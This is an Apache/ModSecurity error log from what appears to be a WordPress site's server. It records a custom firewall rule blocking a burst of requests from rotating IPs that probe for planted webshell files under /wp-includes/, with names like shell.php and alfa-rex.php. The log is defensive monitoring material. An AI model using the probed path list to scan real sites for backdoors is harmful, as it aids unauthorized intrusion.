[Fri Nov 21 16:57:53.458831 2025] [:error] [pid 25429:tid 25436] [client 45.132.227.55:22999] [client 45.132.227.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aSApkT4rZbRSr7vu-NO-vAAAAAM"]
[Fri Nov 21 16:57:54.322177 2025] [:error] [pid 25429:tid 25453] [client 172.98.32.90:31331] [client 172.98.32.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aSApkj4rZbRSr7vu-NO-vwAAABQ"]
[Fri Nov 21 16:57:55.633562 2025] [:error] [pid 25429:tid 25448] [client 45.132.227.58:64823] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aSApkz4rZbRSr7vu-NO-xQAAAA8"]
[Fri Nov 21 16:57:57.378620 2025] [:error] [pid 25431:tid 25510] [client 45.132.227.61:23329] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aSAplcklhXxmoIExII1ObwAAAJc"]
[Fri Nov 21 16:57:59.140592 2025] [:error] [pid 46939:tid 46951] [client 172.98.32.91:48083] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSApl-0OmVoxD4VZ_ZmSgAAAAUk"]
[Fri Nov 21 16:58:00.008260 2025] [:error] [pid 25430:tid 25460] [client 172.98.32.92:52697] [client 172.98.32.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aSApmKpnWJcWt_4foXlZQQAAAEA"]
[Fri Nov 21 16:58:01.329134 2025] [:error] [pid 25521:tid 25541] [client 45.132.227.54:58831] [client 45.132.227.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSApmfhXnBMilDddn3X_3QAAANI"]
[Fri Nov 21 16:58:02.193709 2025] [:error] [pid 25554:tid 25568] [client 172.98.32.93:30129] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aSApmh-NtB-9AzFZrk5tSgAAAQo"]
[Fri Nov 21 16:58:03.952278 2025] [:error] [pid 25521:tid 25532] [client 172.98.32.100:46989] [client 172.98.32.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSApm_hXnBMilDddn3X_4QAAAMk"]
[Fri Nov 21 16:58:05.254059 2025] [:error] [pid 25521:tid 25543] [client 172.98.32.85:57225] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aSApnfhXnBMilDddn3X_4wAAANQ"]
[Fri Nov 21 16:58:06.132185 2025] [:error] [pid 25431:tid 25490] [client 172.98.32.85:41997] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aSApnsklhXxmoIExII1OdQAAAIM"]
[Fri Nov 21 16:58:07.000654 2025] [:error] [pid 25521:tid 25525] [client 136.144.42.80:24123] [client 136.144.42.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aSApnvhXnBMilDddn3X_6AAAAMI"]
[Fri Nov 21 16:58:09.185104 2025] [:error] [pid 46939:tid 46961] [client 172.98.32.98:20755] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aSApoe0OmVoxD4VZ_ZmSlwAAAVM"]
[Fri Nov 21 16:58:12.054219 2025] [:error] [pid 25521:tid 25541] [client 45.132.227.55:44417] [client 45.132.227.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aSAppPhXnBMilDddn3UAAAAAANI"]
[Fri Nov 21 16:58:13.372416 2025] [:error] [pid 25431:tid 25507] [client 45.132.227.67:25407] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aSAppcklhXxmoIExII1OjAAAAJQ"]
[Fri Nov 21 16:58:14.685719 2025] [:error] [pid 46939:tid 46942] [client 172.98.32.86:22045] [client 172.98.32.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aSAppu0OmVoxD4VZ_ZmSogAAAUA"]
[Fri Nov 21 16:58:18.221610 2025] [:error] [pid 25431:tid 25500] [client 136.144.42.69:26813] [client 136.144.42.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSApqsklhXxmoIExII1OnAAAAI0"]
[Fri Nov 21 16:58:19.080465 2025] [:error] [pid 25429:tid 25457] [client 172.98.32.89:25553] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aSApqz4rZbRSr7vu-NO-5AAAABg"]
[Fri Nov 21 16:58:20.831571 2025] [:error] [pid 25521:tid 25539] [client 172.98.32.89:56359] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aSAprPhXnBMilDddn3UACQAAANA"]
[Fri Nov 21 16:58:23.464974 2025] [:error] [pid 25430:tid 25479] [client 172.98.32.76:60131] [client 172.98.32.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aSApr6pnWJcWt_4foXlZXQAAAFM"]
[Fri Nov 21 16:58:25.232246 2025] [:error] [pid 25554:tid 25571] [client 172.98.32.94:53493] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aSApsR-NtB-9AzFZrk5tiwAAAQ0"]
[Fri Nov 21 16:58:26.973994 2025] [:error] [pid 46939:tid 46945] [client 172.98.32.77:43699] [client 172.98.32.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aSApsu0OmVoxD4VZ_ZmSxgAAAUM"]
[Fri Nov 21 16:58:28.286290 2025] [:error] [pid 25429:tid 25446] [client 136.144.42.77:34335] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aSAptD4rZbRSr7vu-NO-6gAAAA0"]
[Fri Nov 21 16:58:29.607984 2025] [:error] [pid 25429:tid 25444] [client 136.144.42.79:64021] [client 136.144.42.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aSAptT4rZbRSr7vu-NO-7QAAAAs"]
[Fri Nov 21 16:58:32.268844 2025] [:error] [pid 25554:tid 25581] [client 45.132.227.53:32511] [client 45.132.227.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSApuB-NtB-9AzFZrk5tlAAAARc"]
[Fri Nov 21 16:58:34.446981 2025] [:error] [pid 25521:tid 25546] [client 45.132.227.62:57669] [client 45.132.227.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aSApuvhXnBMilDddn3UAIQAAANc"]
[Fri Nov 21 16:58:35.337060 2025] [proxy_fcgi:error] [pid 46939:tid 46954] [client 45.132.227.61:21981] AH01071: Got error 'Primary script unknown'
[Fri Nov 21 16:58:35.767381 2025] [:error] [pid 46939:tid 46964] [client 45.132.227.61:21981] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aSApu-0OmVoxD4VZ_ZmS3AAAAVY"]
[Fri Nov 21 16:58:36.665987 2025] [:error] [pid 25430:tid 25465] [client 45.132.227.61:55343] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aSApvKpnWJcWt_4foXlZZAAAAEU"]
[Fri Nov 21 16:58:38.419283 2025] [:error] [pid 25431:tid 25493] [client 172.98.32.87:49485] [client 172.98.32.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aSApvsklhXxmoIExII1OrgAAAIY"]
[Fri Nov 21 16:58:39.284501 2025] [:error] [pid 25521:tid 25534] [client 136.144.42.78:26805] [client 136.144.42.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aSApv_hXnBMilDddn3UAKAAAAMs"]
[Fri Nov 21 16:58:42.802320 2025] [:error] [pid 46939:tid 46947] [client 45.132.227.56:25475] [client 45.132.227.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aSApwu0OmVoxD4VZ_ZmS9AAAAUU"]
[Fri Nov 21 16:58:43.671260 2025] [:error] [pid 46939:tid 46964] [client 45.132.227.66:51155] [client 45.132.227.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aSApw-0OmVoxD4VZ_ZmS-gAAAVY"]
[Fri Nov 21 16:58:45.886758 2025] [:error] [pid 25429:tid 25450] [client 172.98.32.94:62733] [client 172.98.32.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "aSApxT4rZbRSr7vu-NO-9QAAABE"]
[Fri Nov 21 16:58:46.747923 2025] [:error] [pid 46939:tid 46960] [client 45.132.227.61:39917] [client 45.132.227.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aSApxu0OmVoxD4VZ_ZmTCAAAAVI"]
[Fri Nov 21 16:58:47.650822 2025] [:error] [pid 25431:tid 25488] [client 136.144.42.74:29763] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aSApx8klhXxmoIExII1OvgAAAIE"]
[Fri Nov 21 16:58:48.522050 2025] [:error] [pid 25521:tid 25535] [client 172.98.32.87:25901] [client 172.98.32.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aSApyPhXnBMilDddn3UAPgAAAMw"]
[Fri Nov 21 16:58:52.153837 2025] [:error] [pid 46939:tid 46962] [client 45.132.227.60:47813] [client 45.132.227.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aSApzO0OmVoxD4VZ_ZmTEwAAAVQ"]
[Fri Nov 21 16:58:53.021568 2025] [:error] [pid 46939:tid 46952] [client 172.98.32.85:43037] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aSApze0OmVoxD4VZ_ZmTFQAAAUo"]
[Fri Nov 21 16:58:54.783156 2025] [:error] [pid 46939:tid 46944] [client 45.132.227.57:37673] [client 45.132.227.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aSApzu0OmVoxD4VZ_ZmTGQAAAUI"]
[Fri Nov 21 16:58:55.650481 2025] [:error] [pid 25554:tid 25566] [client 136.144.42.74:24265] [client 136.144.42.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aSApzx-NtB-9AzFZrk5tswAAAQg"]
[Fri Nov 21 16:58:57.380170 2025] [:error] [pid 25429:tid 25447] [client 172.98.32.98:37349] [client 172.98.32.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aSAp0T4rZbRSr7vu-NO-_AAAAA4"]
[Fri Nov 21 16:58:58.248816 2025] [:error] [pid 25429:tid 25456] [client 45.132.227.58:33975] [client 45.132.227.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aSAp0j4rZbRSr7vu-NO-_QAAABc"]
[Fri Nov 21 16:59:02.213615 2025] [:error] [pid 46939:tid 46950] [client 172.98.32.91:27587] [client 172.98.32.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aSAp1u0OmVoxD4VZ_ZmTJwAAAUg"]
[Fri Nov 21 16:59:03.106979 2025] [:error] [pid 46939:tid 46956] [client 136.144.42.77:58595] [client 136.144.42.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aSAp1-0OmVoxD4VZ_ZmTKQAAAU4"]
[Fri Nov 21 16:59:04.868860 2025] [:error] [pid 46939:tid 46949] [client 45.132.227.67:39175] [client 45.132.227.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSAp2O0OmVoxD4VZ_ZmTLQAAAUc"]
[Fri Nov 21 16:59:06.197745 2025] [:error] [pid 25431:tid 25497] [client 172.98.32.85:21705] [client 172.98.32.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSAp2sklhXxmoIExII1OzAAAAIo"]
[Fri Nov 21 16:59:07.494993 2025] [:error] [pid 25429:tid 25441] [client 172.98.32.93:46745] [client 172.98.32.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/load.php"] [unique_id "aSAp2z4rZbRSr7vu-NO_AAAAAAg"]
[Fri Nov 21 16:59:08.428881 2025] [:error] [pid 25554:tid 25564] [client 45.132.227.52:33671] [client 45.132.227.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aSAp3B-NtB-9AzFZrk5tuwAAAQY"]
[Fri Nov 21 16:59:09.295076 2025] [:error] [pid 46939:tid 46948] [client 172.98.32.89:54021] [client 172.98.32.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aSAp3e0OmVoxD4VZ_ZmTMAAAAUY"]
[Fri Nov 21 16:59:11.532092 2025] [:error] [pid 25429:tid 25444] [client 45.132.227.53:53489] [client 45.132.227.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aSAp3z4rZbRSr7vu-NO_CAAAAAs"]
[Fri Nov 21 16:59:12.850717 2025] [:error] [pid 46939:tid 46958] [client 136.144.42.69:46821] [client 136.144.42.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aSAp4O0OmVoxD4VZ_ZmTOAAAAVA"]
